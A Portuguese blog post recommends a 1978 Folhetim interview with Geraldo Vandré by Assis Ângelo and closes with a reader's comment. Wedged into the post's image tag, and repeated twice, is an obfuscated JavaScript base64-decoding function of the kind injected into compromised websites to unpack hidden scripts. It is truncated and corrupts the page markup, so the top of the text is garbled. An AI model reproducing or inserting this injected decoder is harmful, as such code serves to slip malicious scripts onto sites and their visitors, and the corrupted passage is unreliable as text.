function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5andre.jpg”>function r0093c87a1(re){var xc=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var uf=”;var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5andre.jpg” alt=”” title=”” width=”500″ height=”500″ class=”aligncenter size-full wp-image-2910″ />Vandré confere um disco dele que Assis comprou num sebo de Paris (Foto publicada em Jornalistas&Cia)
Em setembro de 1978, Geraldo Vandré concedia ao “Folhetim”, inesquecível suplemento de cultura da Folha de S. Paulo, uma entrevista que poderia, com o tempo, se tornar apenas mais uma. Entretanto, o formato editorial adotado para a matéria escrita por Assis Ângelo, o modo como Assis conduziu a conversa, o modo como Assis se deixou levar pela incrível “viagem” de Vandré, esses aspectos tornaram a reportagem antológica.
O texto está na segunda edição de “Jornalistas&Cia Memória da Cultura Popular”, distribuído para assinantes. Eu pedi e recebi autorização para deixar aqui o link aos interessados em ler essa preciosidade histórica. Não apenas por envolver o mito Vandré. Mas também por revelar uma excelente lição de jornalismo. Uma entrevista que foge completamente à mesmice que muitas vezes nos incomoda nos dias atuais.
É também uma pequena mostra da qualidade do conteúdo produzido por “Jornalistas&Cia”. Vale a pena assinar esse importante veículo da comunicação brasileira.
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Tags: Brasil, História, Jornalismo, Música
This entry was posted on segunda-feira, junho 4th, 2012 at 19:15 and is filed under Geral. You can follow any responses to this entry through the RSS 2.0 feed.
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Marcio, no ano passado vi uma entrevista recente do Vandré a um repórter da Globo, não me lembro o nome. Ele estava morando num hotel e fiquei muito emocionada com as declarações dele, a figura e tudo o que ele representou nos anos de chumbo. Agora vou ler sua indicação.
Bj
Ana Flores